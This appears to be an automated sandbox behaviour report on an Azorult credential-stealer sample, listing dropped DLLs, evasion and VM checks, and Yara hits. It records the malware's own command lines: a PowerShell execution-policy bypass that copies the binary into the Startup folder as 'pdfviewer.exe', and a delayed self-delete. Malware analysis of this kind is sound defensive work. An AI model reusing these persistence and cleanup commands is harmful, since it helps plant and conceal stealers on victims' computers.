Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2640	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 517	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4908	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1619	Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep count: 2640 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6364	Thread sleep count: 517 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3868	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1776	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1276	Thread sleep count: 4908 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 1619 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6036	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6024	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004098A0 FindFirstFileW,FindNextFileW,FindClose,	4_2_004098A0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D0A0 FindFirstFileW,	4_2_0040D0A0
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	4_2_00414408
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408D44 FindFirstFileW,GetFileAttributesW,FindNextFileW,	4_2_00408D44
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00415610 FindFirstFileW,FindNextFileW,FindClose,	4_2_00415610
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004087DC FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	4_2_004087DC
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040D06E FindFirstFileW,	4_2_0040D06E
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0041303C FindFirstFileW,FindNextFileW,FindClose,	4_2_0041303C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0040989F FindFirstFileW,FindNextFileW,FindClose,	4_2_0040989F
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_004111C4 FindFirstFileW,FindNextFileW,FindClose,	4_2_004111C4
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00414408 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	4_2_00414408
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00415610 FindFirstFileW,FindNextFileW,FindClose,	4_2_00415610
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00408D3C FindFirstFileW,GetFileAttributesW,FindNextFileW,	4_2_00408D3C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D70 FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D70
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_0041158C FindFirstFileW,FindNextFileW,FindClose,	4_2_0041158C
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00411590 FindFirstFileW,FindNextFileW,FindClose,	4_2_00411590
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: 4_2_00412D9C FindFirstFileW,FindNextFileW,FindClose,	4_2_00412D9C

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00416748 GetSystemInfo,

4_2_00416748

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42
Source: 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, 962Zrwh5bU.exe, 00000004.00000002.2159107756.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3281259326.000001A7D0A58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3279655830.000001A7CB42B000.00000004.00000020.00020000.00000000.sdmp, pdfviewer.exe, 0000000C.00000002.2208565178.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: pdfviewer.exe, 0000000C.00000002.2208565178.0000000001498000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

4_2_00416B94

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_0040B15C LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_0040B15C

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00407A34 mov eax, dword ptr fs:[00000030h]

4_2_00407A34

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Users\user\Desktop\962Zrwh5bU.exe "C:\Users\user\Desktop\962Zrwh5bU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe"	Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: GetLocaleInfoA,		4_2_00416FB8
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Code function: GetLocaleInfoA,		4_2_00404B4C

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Queries volume information: C:\Users\user\Desktop\962Zrwh5bU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00417098 GetTimeZoneInformation,

4_2_00417098

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Code function: 4_2_00404C15 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

4_2_00404C15

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 4.2.962Zrwh5bU.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.962Zrwh5bU.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2160278016.00000000027D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
